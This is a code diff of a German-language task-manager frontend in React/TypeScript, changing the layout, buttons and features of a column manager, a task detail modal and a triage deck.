<form onSubmit={handleAddColumn} className="space-y-2 pt-2 border-t border-border">
<label className="block text-xs font-semibold text-main">Neue Spalte hinzufügen:</label>
{/* Phones: the buttons go below the field, so nothing is cut off */}
<div className="flex flex-col sm:flex-row sm:items-center gap-1.5">
<div className="flex items-center gap-1.5">
<input
type="text"
value={newColName}
onChange={(e) => setNewColName(e.target.value)}
placeholder="z.B. Wartet auf Feedback, Review…"
className="w-full sm:w-auto sm:flex-1 min-w-0 h-11 sm:h-8 px-2.5 text-base sm:text-xs input-field"
className="flex-1 h-8 px-2.5 text-xs input-field"
/>
<div className="flex items-center gap-1.5">
<button
type="button"
onClick={() => setNewColIsDone((prev) => !prev)}
className={`flex-1 sm:flex-none justify-center h-11 sm:h-8 px-2.5 text-xs rounded-btn border transition-colors flex items-center gap-1 ${
className={`h-8 px-2.5 text-xs rounded-btn border transition-colors flex items-center gap-1 ${
newColIsDone
? 'bg-status-ok/15 border-status-ok text-status-ok font-semibold'
: 'bg-panel border-border text-muted hover:text-main'
@@ -339,13 +251,12 @@ const ManageColumnsModalContent: React.FC<ManageColumnsModalProps> = ({
<button
type="submit"
disabled={!newColName.trim()}
className="flex-1 sm:flex-none justify-center btn-primary h-11 sm:h-8 px-3 text-xs flex items-center gap-1 disabled:opacity-40"
className="btn-primary h-8 px-3 text-xs flex items-center gap-1 disabled:opacity-40"
>
<Plus className="w-3.5 h-3.5" />
<span>Hinzufügen</span>
</button>
</div>
</div>
</form>
{/* Reset button */}
@@ -380,42 +291,6 @@ const ManageColumnsModalContent: React.FC<ManageColumnsModalProps> = ({
</button>
</div>
</div>
{colorMenu &&
(() => {
const col = columns.find((c) => c.id === colorMenu.id);
if (!col) return null;
return (
<div
ref={colorMenuRef}
role="menu"
aria-label={`Farbe der Spalte ${col.name}`}
style={{ left: colorMenu.left, top: colorMenu.top, bottom: colorMenu.bottom }}
className="fixed z-[60] w-44 p-1 bg-panel border border-border rounded-card shadow-panel"
onClick={(e) => e.stopPropagation()}
>
{COLUMN_COLORS.map((c) => {
const active = columnColorId(col) === c.id;
return (
<button
key={c.id}
type="button"
role="menuitemradio"
aria-checked={active}
onClick={() => handleColor(col.id, c.id)}
className={`w-full h-11 sm:h-8 px-2 rounded-btn text-xs flex items-center gap-2 text-left transition-colors ${
active ? 'bg-accent/10 text-main' : 'text-muted hover:text-main hover:bg-panel-hover'
}`}
>
<span className={`w-3 h-3 rounded-full flex-shrink-0 ${c.cls}`} />
<span className="flex-1">{c.label}</span>
{active && <Check className="w-3 h-3 text-accent stroke-[3]" />}
</button>
);
})}
</div>
);
})()}
</div>
);
};
+42 -117
View File
@@ -1,4 +1,4 @@
import React, { useState, useEffect, useCallback, useRef } from 'react';
import React, { useState, useEffect, useCallback } from 'react';
import {
X,
Check,
@@ -11,20 +11,16 @@ import {
AlertTriangle,
Flame,
Folder,
Webhook,
Lock,
UserPlus,
Repeat,
Eye,
EyeOff,
} from 'lucide-react';
import { Thought, TaskList, TaskListMember, KanbanColumn, User, Recurrence } from '../../lib/types';
import { UserAvatar } from '../../components/UserAvatar';
import { OriginBadge, originDetails } from '../../components/OriginBadge';
import { columnDotClass } from './ManageColumnsModal';
import { UserAutocomplete } from '../UserAutocomplete';
import { api, triggerHaptic } from '../../lib/api';
import { triggerHaptic } from '../../lib/api';
import { MarkdownViewer } from '../../lib/markdown';
import { VoiceInputButton } from '../../components/VoiceInputButton';
import { addDays, joinDue, splitDue } from '../../lib/due';
interface TaskDetailModalProps {
@@ -91,40 +87,16 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
el.style.height = 'auto';
el.style.height = `${el.scrollHeight + 2}px`;
}, []);
// Dictated text changes the draft without an input event, so the field grows here as well
const notesRef = useRef<HTMLTextAreaElement | null>(null);
useEffect(() => {
if (isEditingNotes) growNotes(notesRef.current);
}, [notesDraft, isEditingNotes, growNotes]);
const [newSubtaskTitle, setNewSubtaskTitle] = useState('');
const [newTagDraft, setNewTagDraft] = useState('');
const [isWatching, setIsWatching] = useState<boolean>(Boolean(task.isWatching));
const [watchBusy, setWatchBusy] = useState(false);
useEffect(() => {
setTitleDraft(task.content);
setNotesDraft(task.notes || '');
setIsEditingTitle(false);
setIsEditingNotes(false);
setIsWatching(Boolean(task.isWatching));
}, [task.id, task.isWatching]);
const handleToggleWatch = async () => {
if (watchBusy) return;
setWatchBusy(true);
try {
const res = isWatching ? await api.unwatchTask(task.id) : await api.watchTask(task.id);
const next = Boolean(res.watching);
setIsWatching(next);
task.isWatching = next;
triggerHaptic(10);
} catch {
// ignore
} finally {
setWatchBusy(false);
}
};
}, [task.id]);
// Handle escape key to close
useEffect(() => {
@@ -211,7 +183,7 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
return (
<div className="fixed inset-0 !m-0 modal-overlay z-50 flex items-center justify-center p-3 sm:p-4 overflow-y-auto">
<div
className="w-full max-w-2xl lg:max-w-5xl panel-surface shadow-panel border border-border my-auto flex flex-col max-h-[92vh] max-h-[92dvh] overflow-hidden"
className="w-full max-w-2xl panel-surface shadow-panel border border-border my-auto flex flex-col max-h-[92vh] max-h-[92dvh] overflow-hidden"
onClick={(e) => e.stopPropagation()}
>
{/* Top Header */}
@@ -236,8 +208,7 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
>
<Check className="w-3.5 h-3.5 stroke-[3]" />
</button>
{/* Phones: squeezed to a single letter next to the buttons, so left out */}
<span className="hidden sm:inline text-xs font-semibold text-main truncate">
<span className="text-xs font-semibold text-main truncate">
{readOnly ? 'Aufgabe ansehen' : task.isCompleted ? 'Erledigte Aufgabe' : 'Aufgabe bearbeiten'}
</span>
{readOnly && (
@@ -246,34 +217,15 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
<span>Nur Lesen</span>
</span>
)}
{/* Phones: no room next to the buttons; the details stand at the bottom anyway */}
<span className="hidden sm:inline-flex min-w-0">
<OriginBadge origin={task.origin} createdAt={task.createdAt} />
{task.source?.toLowerCase() === 'webhook' && (
<span className="px-1.5 py-0.5 border border-border bg-canvas text-muted rounded-btn text-[10px] font-medium flex items-center gap-1 flex-shrink-0">
<Webhook className="w-2.5 h-2.5 text-accent" />
<span>Webhook</span>
</span>
)}
</div>
<div className="flex items-center gap-1.5">
<button
type="button"
onClick={handleToggleWatch}
disabled={watchBusy}
title={isWatching ? 'Nicht mehr beobachten' : 'Beobachten'}
className={`btn-action min-h-[38px] sm:min-h-0 h-9 sm:h-7 px-2.5 sm:px-2 text-xs flex items-center gap-1.5 ${
isWatching ? 'border-accent text-accent' : ''
}`}
>
{isWatching ? (
<>
<EyeOff className="w-4 h-4 sm:w-3.5 sm:h-3.5 text-accent" />
<span>Nicht mehr beobachten</span>
</>
) : (
<>
<Eye className="w-4 h-4 sm:w-3.5 sm:h-3.5" />
<span>Beobachten</span>
</>
)}
</button>
{(task.convertedType === 'document_block' || task.docId) ? (
<button
type="button"
@@ -287,9 +239,7 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
className="btn-primary min-h-[38px] sm:min-h-0 h-9 sm:h-7 px-2.5 sm:px-2 text-xs flex items-center gap-1.5 font-semibold"
>
<FileText className="w-4 h-4 sm:w-3.5 sm:h-3.5" />
{/* Short on phones, so the header buttons stay on one line */}
<span className="sm:hidden">Notiz</span>
<span className="hidden sm:inline">In Notiz öffnen</span>
<span>In Notiz öffnen</span>
</button>
) : !readOnly && (
<button
@@ -335,14 +285,9 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
{/* Scrollable Body (all controls disabled for read-only shares) */}
{/* The scroll container is a div: a scrolling <fieldset> is unreliable in mobile browsers */}
<div className="flex-1 min-h-0 overflow-y-auto overscroll-contain [-webkit-overflow-scrolling:touch]">
{/* Desktop (lg): two columns, wide left (title, subtasks, notes), narrow right (all settings).
Phones and tablets keep the single column in the same order as before. */}
<fieldset
disabled={readOnly}
className="p-4 space-y-4 lg:space-y-0 lg:grid lg:grid-cols-[minmax(0,1fr)_18rem] lg:grid-rows-[auto_auto_1fr] lg:gap-x-6 lg:gap-y-4 min-w-0 border-0 m-0"
>
<fieldset disabled={readOnly} className="p-4 space-y-4 min-w-0 border-0 m-0">
{/* Task Title */}
<div className="lg:col-start-1 lg:row-start-1">
<div>
{isEditingTitle ? (
<div className="space-y-2">
<textarea
@@ -405,10 +350,8 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
)}
</div>
{/* Settings: right column on the desktop */}
<div className="space-y-4 lg:col-start-2 lg:row-start-1 lg:row-span-3 lg:border-l lg:border-border lg:pl-5">
{/* Kanban Status Buttons */}
<div className="space-y-1.5 pt-1 border-t border-border lg:border-t-0 lg:pt-0">
<div className="space-y-1.5 pt-1 border-t border-border">
<label className="block text-xs font-semibold text-main">
Zustand / Kanban-Status:
</label>
@@ -429,7 +372,17 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
: 'bg-canvas border-border text-muted hover:text-main hover:border-strong'
}`}
>
<span className={`w-2 h-2 rounded-full ${columnDotClass(col)}`} />
<span
className={`w-2 h-2 rounded-full ${
col.isDone
? 'bg-status-ok'
: col.id === 'in_progress'
? 'bg-accent'
: col.id === 'waiting'
? 'bg-status-warn'
: 'bg-faint'
}`}
/>
<span>{col.name}</span>
{isActive && <Check className="w-3 h-3 text-accent stroke-[3] ml-0.5" />}
</button>
@@ -443,7 +396,7 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
<label className="block text-xs font-semibold text-main">
Priorität:
</label>
<div className="grid grid-cols-2 sm:grid-cols-4 lg:grid-cols-2 gap-1.5">
<div className="grid grid-cols-2 sm:grid-cols-4 gap-1.5">
<button
type="button"
onClick={() => {
@@ -506,7 +459,7 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
</div>
{/* Due Date & List Selection Row */}
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-1 gap-3 pt-1 border-t border-border">
<div className="grid grid-cols-1 sm:grid-cols-2 gap-3 pt-1 border-t border-border">
{/* Due Date */}
<div className="space-y-1.5">
<label className="block text-xs font-semibold text-main flex items-center gap-1">
@@ -519,7 +472,7 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
aria-label="Fälligkeitsdatum"
value={dueParts.date}
onChange={(e) => onUpdateDueDate(task, joinDue(e.target.value, dueParts.time))}
className="flex-1 min-w-0 h-11 sm:h-8 input-field px-2 lg:px-1.5 text-base sm:text-xs bg-panel"
className="flex-1 min-w-0 h-11 sm:h-8 input-field px-2 text-base sm:text-xs bg-panel"
/>
<input
type="time"
@@ -528,7 +481,7 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
value={dueParts.time}
disabled={!dueParts.date}
onChange={(e) => onUpdateDueDate(task, joinDue(dueParts.date, e.target.value))}
className="w-[7.5rem] lg:w-[5.25rem] shrink-0 h-11 sm:h-8 input-field px-2 lg:px-1.5 text-base sm:text-xs bg-panel disabled:opacity-50"
className="w-[7.5rem] shrink-0 h-11 sm:h-8 input-field px-2 text-base sm:text-xs bg-panel disabled:opacity-50"
/>
{task.dueDate && (
<button
@@ -613,12 +566,12 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
<select
value={task.taskListId || ''}
onChange={(e) => onUpdateTaskList(task, e.target.value)}
className="w-full h-11 sm:h-8 input-field px-2.5 text-base sm:text-xs bg-panel"
className="w-full h-8 input-field px-2.5 text-xs bg-panel"
>
<option value="">-- Keine Liste (Allgemein) --</option>
{taskLists.map((tl) => (
<option key={tl.id} value={tl.id}>
{[tl.icon, tl.title].filter(Boolean).join(' ')}
{tl.icon} {tl.title}
</option>
))}
</select>
@@ -716,24 +669,15 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
value={newTagDraft}
onChange={(e) => setNewTagDraft(e.target.value)}
placeholder="+ #hashtag"
className="h-11 sm:h-6 w-32 sm:w-24 px-2 sm:px-1.5 text-base sm:text-xs input-field"
className="h-6 w-24 px-1.5 text-xs input-field"
/>
</form>
)}
</div>
</div>
{/* Origin: in the right column on the desktop (phones show it in the footer) */}
{originDetails(task.origin, task.createdAt) && (
<div className="hidden lg:block space-y-1 pt-1 border-t border-border">
<label className="block text-xs font-semibold text-main">Herkunft:</label>
<p className="text-[11px] text-muted leading-snug">{originDetails(task.origin, task.createdAt)}</p>
</div>
)}
</div>
{/* Subtasks Checklist */}
<div className="space-y-2 pt-1 border-t border-border lg:col-start-1 lg:row-start-2">
<div className="space-y-2 pt-1 border-t border-border">
<div className="flex items-center justify-between">
<label className="block text-xs font-semibold text-main flex items-center gap-1.5">
<CheckSquare className="w-3.5 h-3.5 text-accent" />
@@ -804,13 +748,13 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
type="text"
value={newSubtaskTitle}
onChange={(e) => setNewSubtaskTitle(e.target.value)}
placeholder="Neue Unteraufgabe…"
className="flex-1 min-w-0 h-11 sm:h-7 px-2 text-base sm:text-xs input-field"
placeholder="Neue Unteraufgabe hinzufügen…"
className="flex-1 h-7 px-2 text-xs input-field"
/>
<button
type="submit"
disabled={!newSubtaskTitle.trim()}
className="btn-action h-11 sm:h-7 px-2.5 text-xs disabled:opacity-40"
className="btn-action h-7 px-2.5 text-xs disabled:opacity-40"
>
<Plus className="w-3 h-3" />
<span>Hinzufügen</span>
@@ -820,13 +764,12 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
</div>
{/* Notes Section */}
<div className="space-y-2 pt-1 border-t border-border lg:col-start-1 lg:row-start-3">
<div className="space-y-2 pt-1 border-t border-border">
<div className="flex items-center justify-between">
<label className="block text-xs font-semibold text-main flex items-center gap-1.5">
<FileText className="w-3.5 h-3.5 text-accent" />
<span>Detailnotizen:</span>
</label>
<div className="flex items-center gap-2">
{!readOnly && !isEditingNotes && task.notes && (
<button
type="button"
@@ -839,18 +782,6 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
Bearbeiten
</button>
)}
{/* Dictate into the notes: opens the field and appends; saved with "Notiz speichern" */}
{!readOnly && (
<VoiceInputButton
value={isEditingNotes ? notesDraft : task.notes || ''}
onChange={(text) => {
setNotesDraft(text);
setIsEditingNotes(true);
}}
focusRef={notesRef}
/>
)}
</div>
</div>
{isEditingNotes ? (
@@ -861,12 +792,9 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
placeholder="Detailnotizen eingeben… (Markdown unterstützt)"
rows={6}
autoFocus
ref={(el) => {
notesRef.current = el;
growNotes(el);
}}
ref={growNotes}
onInput={(e) => growNotes(e.currentTarget)}
className="w-full input-field p-2.5 text-xs font-mono leading-relaxed resize-none min-h-[100px] lg:min-h-[260px] overflow-hidden"
className="w-full input-field p-2.5 text-xs font-mono leading-relaxed resize-none min-h-[100px] overflow-hidden"
/>
<div className="flex justify-end gap-1.5">
<button
@@ -923,11 +851,8 @@ const TaskDetailModalContent: React.FC<TaskDetailModalProps & { task: Thought }>
{/* Modal Footer */}
<div className="flex items-center justify-between px-4 py-2.5 border-t border-border bg-panel">
<div className="text-[11px] text-faint min-w-0 pr-3">
<span className="lg:hidden">
{originDetails(task.origin, task.createdAt) || `Erstellt: ${new Date(task.createdAt).toLocaleDateString('de-DE')}`}
</span>
<span className="hidden lg:inline">Erstellt: {new Date(task.createdAt).toLocaleDateString('de-DE')}</span>
<div className="text-[11px] text-faint">
Erstellt: {new Date(task.createdAt).toLocaleDateString('de-DE')}
</div>
<button
type="button"
File diff suppressed because it is too large. Load diff
+31 -226
View File
@@ -10,6 +10,7 @@ import {
RotateCcw,
Sparkles,
Mic,
Webhook,
Keyboard,
Tag,
Clock,
@@ -17,15 +18,10 @@ import {
Edit3,
Layers,
MoreHorizontal,
ArrowLeft,
ArrowRight,
ChevronDown,
Trash2,
} from 'lucide-react';
import { SharedList, Thought } from '../../lib/types';
import { addDays, formatDue } from '../../lib/due';
import { api, triggerHaptic } from '../../lib/api';
import { OriginBadge } from '../../components/OriginBadge';
interface TriageDeckProps {
deck: Thought[];
@@ -33,9 +29,6 @@ interface TriageDeckProps {
onDeckChange: () => void;
onOpenDocument: (docId: string) => void;
onFocusCapture: () => void;
// The triage's own trash (TriageTrash): thoughts thrown away while sorting
discardedCount: number;
onOpenTrash: () => void;
}
interface SwipeableQueueItemProps {
@@ -152,12 +145,16 @@ const SwipeableQueueItem: React.FC<SwipeableQueueItemProps> = ({
<span className="text-sm sm:text-xs font-medium text-main line-clamp-2 sm:truncate">
{item.content}
</span>
{item.source?.toLowerCase() === 'webhook' && (
<span className="px-1.5 py-0.5 text-[10px] bg-canvas text-muted border border-border rounded-btn flex items-center gap-1 flex-shrink-0">
<Webhook className="w-2.5 h-2.5 text-accent" /> Webhook
</span>
)}
{item.source?.toLowerCase() === 'voice' && (
<span className="px-1.5 py-0.5 text-[10px] bg-canvas text-accent border border-border rounded-btn flex items-center gap-1 flex-shrink-0">
<Mic className="w-2.5 h-2.5" /> Diktat
</span>
)}
<OriginBadge origin={item.origin} createdAt={item.createdAt} />
</div>
{/* Desktop quick buttons (hidden on mobile so queue items are clean & easy to tap/swipe) */}
@@ -223,18 +220,10 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
lists,
onDeckChange,
onFocusCapture,
discardedCount,
onOpenTrash,
}) => {
const writableLists = lists.filter((l) => l.isOwner || l.role !== 'viewer');
const singleWritableList = writableLists.length === 1 ? writableLists[0] : null;
const [cards, setCards] = useState<Thought[]>(deck);
const [lastTriaged, setLastTriaged] = useState<Thought | null>(null);
const [showDateModal, setShowDateModal] = useState(false);
// Phones: the waiting queue is folded until asked for
const [showQueueMobile, setShowQueueMobile] = useState(false);
const queueRef = useRef<HTMLDivElement | null>(null);
const [taskDueDate, setTaskDueDate] = useState(() => addDays(1));
const [showListSelector, setShowListSelector] = useState(false);
@@ -441,6 +430,13 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
</span>
);
}
if (s === 'webhook') {
return (
<span className="px-2 py-0.5 text-[11px] bg-canvas text-muted border border-border rounded-btn flex items-center gap-1">
<Webhook className="w-3 h-3 text-accent" /> Webhook
</span>
);
}
return null;
};
@@ -475,22 +471,13 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
Letzte Aktion rückgängig
</button>
)}
{discardedCount > 0 && (
<button onClick={onOpenTrash} className="btn-action h-10 px-4 text-sm">
<Trash2 className="w-4 h-4" />
Papierkorb ({discardedCount})
</button>
)}
</div>
</div>
);
}
return (
// Desktop: a column filling the height under the header; card and buttons keep their size, the queue
// takes the rest and scrolls inside (the page only scrolls when the window is too low even for that)
<div className="w-full max-w-2xl mx-auto select-none space-y-4 sm:flex-1 sm:min-h-0 sm:flex sm:flex-col">
<div className="max-w-2xl mx-auto select-none space-y-4">
{/* Top Deck Status & Undo Bar */}
<div className="flex items-center justify-between px-1">
<div className="flex items-center gap-2">
@@ -503,7 +490,6 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
</span>
</div>
<div className="flex items-center gap-2">
{lastTriaged && (
<button
onClick={handleUndo}
@@ -513,14 +499,6 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
Rückgängig
</button>
)}
{/* Phones reach the trash through the menu */}
{discardedCount > 0 && (
<button onClick={onOpenTrash} className="hidden sm:inline-flex btn-action h-8 px-3 text-xs" title="Papierkorb der Triage">
<Trash2 className="w-3.5 h-3.5" />
{discardedCount}
</button>
)}
</div>
</div>
{/* Card Stack Container */}
@@ -534,7 +512,6 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
<div className="flex items-center gap-1.5">
{priorityBadge(nextCard.priority)}
{sourceBadge(nextCard.source)}
<OriginBadge origin={nextCard.origin} createdAt={nextCard.createdAt} size="md" />
</div>
<p className="text-sm text-muted line-clamp-2">{nextCard.content}</p>
<div className="text-[11px] text-faint">Nächster Quick Dump…</div>
@@ -604,7 +581,6 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
<div className="flex items-center gap-1.5">
{priorityBadge(activeCard.priority)}
{sourceBadge(activeCard.source)}
<OriginBadge origin={activeCard.origin} createdAt={activeCard.createdAt} size="md" />
</div>
<div
className="flex items-center gap-2"
@@ -726,8 +702,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
Quick Dump direkt einer Liste zuordnen:
</p>
<div className="flex flex-wrap gap-1.5">
{writableLists.length > 0 ? (
writableLists.map((lst) => (
{lists.length > 0 ? (
lists.map((lst) => (
<button
key={lst.id}
onClick={() =>
@@ -746,103 +722,7 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
</div>
)}
{/* Phones: the swipe actions on top (← discard, → task), below a 2×2 block like the long-press sheet */}
<div className="sm:hidden space-y-2">
<div className="grid grid-cols-2 gap-2">
<button
type="button"
onClick={() => handleAction('discard')}
className="min-h-[52px] px-3 py-2 rounded-xl bg-status-err-bg border border-status-err/30 text-status-err text-sm font-semibold flex items-center justify-center gap-2 touch-manipulation cursor-pointer active:scale-98"
>
<ArrowLeft className="w-4 h-4" />
<span>Wegwerfen</span>
</button>
<button
type="button"
onClick={() => handleAction('keep', { convertTo: 'task' })}
className="min-h-[52px] px-3 py-2 rounded-xl bg-accent text-on-accent text-sm font-semibold flex items-center justify-center gap-2 touch-manipulation cursor-pointer active:scale-98"
>
<span>Aufgabe</span>
<ArrowRight className="w-4 h-4" />
</button>
</div>
<div className="grid grid-cols-2 gap-2">
<button
type="button"
disabled={writableLists.length === 0}
onClick={() => {
if (singleWritableList) {
handleAction('keep', { convertTo: 'list_item', targetListId: singleWritableList.id });
return;
}
// Phones: the list choice of the bottom sheet (the inline choice above is desktop-only)
if (!activeCard) return;
openActionSheetForCard(activeCard);
setSheetMode('list');
}}
className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 touch-manipulation ${
writableLists.length === 0 ? 'opacity-40 cursor-not-allowed' : ''
}`}
>
<ShoppingCart className="w-5 h-5 text-accent flex-shrink-0" />
<div className="min-w-0">
<div className="text-sm font-semibold text-main">Auf Liste</div>
<div className="text-[11px] text-muted truncate">
{writableLists.length === 0
? 'Keine Liste vorhanden'
: singleWritableList
? singleWritableList.title
: 'Einkauf / Geteilt'}
</div>
</div>
</button>
<button
type="button"
onClick={() => {
// Phones: the date choice of the bottom sheet (the inline one above is desktop-only)
if (!activeCard) return;
openActionSheetForCard(activeCard);
setSheetMode('date');
}}
className="min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 touch-manipulation"
>
<Calendar className="w-5 h-5 text-accent flex-shrink-0" />
<div>
<div className="text-sm font-semibold text-main">Mit Termin</div>
<div className="text-[11px] text-muted">Datum wählen</div>
</div>
</button>
<button
type="button"
onClick={() => handleAction('keep', { convertTo: 'document' })}
className="min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 touch-manipulation"
>
<FileText className="w-5 h-5 text-accent flex-shrink-0" />
<div>
<div className="text-sm font-semibold text-main">Als Notiz</div>
<div className="text-[11px] text-muted">Im Workspace</div>
</div>
</button>
<button
type="button"
disabled={cards.length <= 1}
onClick={() => handleSkipCard()}
className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 touch-manipulation ${cards.length <= 1 ? 'opacity-40 cursor-not-allowed' : ''}`}
>
<SkipForward className="w-5 h-5 text-muted flex-shrink-0" />
<div>
<div className="text-sm font-semibold text-main">Später</div>
<div className="text-[11px] text-muted">Ans Ende schieben</div>
</div>
</button>
</div>
</div>
{/* Primary Triage Decision Bar: Hidden on mobile (handled via Mobile Quick Actions / Swipe), shown on Desktop */}
{/* Primary Triage Decision Bar: Hidden on mobile (handled via Swipe + Long-Press), shown on Desktop */}
<div className="hidden sm:flex items-center gap-1.5">
<button
onClick={() => handleAction('discard')}
@@ -866,36 +746,17 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
</button>
<button
disabled={writableLists.length === 0}
onClick={() => {
if (singleWritableList) {
handleAction('keep', {
convertTo: 'list_item',
targetListId: singleWritableList.id,
});
return;
}
setShowDateModal(false);
setShowListSelector((prev) => !prev);
}}
title={
writableLists.length === 0
? 'Keine Liste vorhanden'
: singleWritableList
? `Auf ${singleWritableList.title}`
: 'Auf eine geteilte Liste setzen'
}
className={`btn-action flex-1 min-w-0 h-9 px-3 justify-center whitespace-nowrap ${
writableLists.length === 0
? 'opacity-40 cursor-not-allowed'
: showListSelector
? 'border-accent text-accent bg-accent-dim'
: ''
title="Auf eine geteilte Liste setzen"
className={`btn-action flex-1 h-9 px-3 justify-center whitespace-nowrap ${
showListSelector ? 'border-accent text-accent bg-accent-dim' : ''
}`}
>
<ShoppingCart className="w-3.5 h-3.5 text-accent flex-shrink-0" />
{/* A long list name is cut off (full name in the tooltip), so the bar never grows wider than the card */}
<span className="truncate">{singleWritableList ? `Auf ${singleWritableList.title}` : 'Auf Liste'}</span>
<span>Auf Liste</span>
</button>
<button
@@ -933,36 +794,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
{/* Waiting Quick Dump Queue List (Touch-sized & Swipeable Left/Right) */}
{cards.length > 1 && (
<div className="pt-2 sm:flex-1 sm:min-h-[9rem] sm:flex sm:flex-col" ref={queueRef}>
{/* Phones: the queue stays folded so the card and its buttons fit on the screen */}
<button
type="button"
aria-expanded={showQueueMobile}
onClick={() => {
const opening = !showQueueMobile;
setShowQueueMobile(opening);
if (opening) {
window.setTimeout(() => queueRef.current?.scrollIntoView({ behavior: 'smooth', block: 'start' }), 320);
}
}}
className="sm:hidden w-full min-h-[48px] px-3 rounded-xl border border-border bg-panel text-sm font-medium text-main flex items-center justify-center gap-2 touch-manipulation cursor-pointer"
>
<Layers className="w-4 h-4 text-accent" />
<span>
Warteschlange {showQueueMobile ? 'ausblenden' : 'anzeigen'} ({cards.length - 1})
</span>
<ChevronDown
className={`w-4 h-4 text-muted transition-transform duration-300 ${showQueueMobile ? 'rotate-180' : ''}`}
/>
</button>
{/* Folds open/closed on phones; always open from sm upwards */}
<div
className={`grid transition-[grid-template-rows,opacity,visibility] duration-300 ease-out sm:flex-1 sm:min-h-0 sm:grid-rows-[1fr] sm:opacity-100 sm:visible ${
showQueueMobile ? 'grid-rows-[1fr] opacity-100 visible' : 'grid-rows-[0fr] opacity-0 invisible'
}`}
>
<div className="overflow-hidden min-h-0 sm:flex sm:flex-col">
<div className="flex items-center justify-between mb-2 px-1 pt-2 sm:pt-0">
<div className="pt-2">
<div className="flex items-center justify-between mb-2 px-1">
<span className="text-xs font-semibold uppercase tracking-wider text-muted flex items-center gap-1.5">
<Layers className="w-3.5 h-3.5 text-accent" />
Warteschlange ({cards.length - 1})
@@ -972,12 +805,12 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
</span>
</div>
<div className="panel-surface divide-y divide-border max-h-80 sm:max-h-none sm:flex-1 sm:min-h-0 overflow-y-auto overflow-x-hidden">
<div className="panel-surface divide-y divide-border max-h-80 overflow-y-auto overflow-x-hidden">
{cards.slice(1).map((item) => (
<SwipeableQueueItem
key={item.id}
item={item}
lists={writableLists}
lists={lists}
onBringToFront={handleBringToFront}
onOpenActionSheet={openActionSheetForCard}
onAction={handleAction}
@@ -985,8 +818,6 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
))}
</div>
</div>
</div>
</div>
)}
{/* LONG-PRESS / MORE OPTIONS ACTION SHEET (For Triage Card & Queue Items) */}
@@ -1023,39 +854,13 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
<div className="grid grid-cols-2 gap-2">
<button
type="button"
disabled={writableLists.length === 0}
onClick={() => {
if (singleWritableList) {
handleAction('keep', {
convertTo: 'list_item',
targetListId: singleWritableList.id,
thoughtOverride: actionSheetCard,
});
return;
}
setSheetMode('list');
}}
title={
writableLists.length === 0
? 'Keine Liste vorhanden'
: singleWritableList
? `Auf ${singleWritableList.title}`
: 'Auf Liste setzen'
}
className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 ${
writableLists.length === 0 ? 'opacity-40 cursor-not-allowed' : ''
}`}
onClick={() => setSheetMode('list')}
className="min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98"
>
<ShoppingCart className="w-5 h-5 text-accent flex-shrink-0" />
<div className="min-w-0">
<div>
<div className="text-sm font-semibold text-main">Auf Liste</div>
<div className="text-[11px] text-muted truncate">
{writableLists.length === 0
? 'Keine Liste vorhanden'
: singleWritableList
? singleWritableList.title
: 'Einkauf / Geteilt'}
</div>
<div className="text-[11px] text-muted">Einkauf / Geteilt</div>
</div>
</button>
@@ -1194,8 +999,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
Auf welche Liste soll dieser Punkt gesetzt werden?
</p>
<div className="max-h-60 overflow-y-auto space-y-1.5">
{writableLists.length > 0 ? (
writableLists.map((lst) => (
{lists.length > 0 ? (
lists.map((lst) => (
<button
key={lst.id}
type="button"
@@ -1,94 +0,0 @@
import React, { useEffect, useState } from 'react';
import { Loader2, RotateCcw, Trash2 } from 'lucide-react';
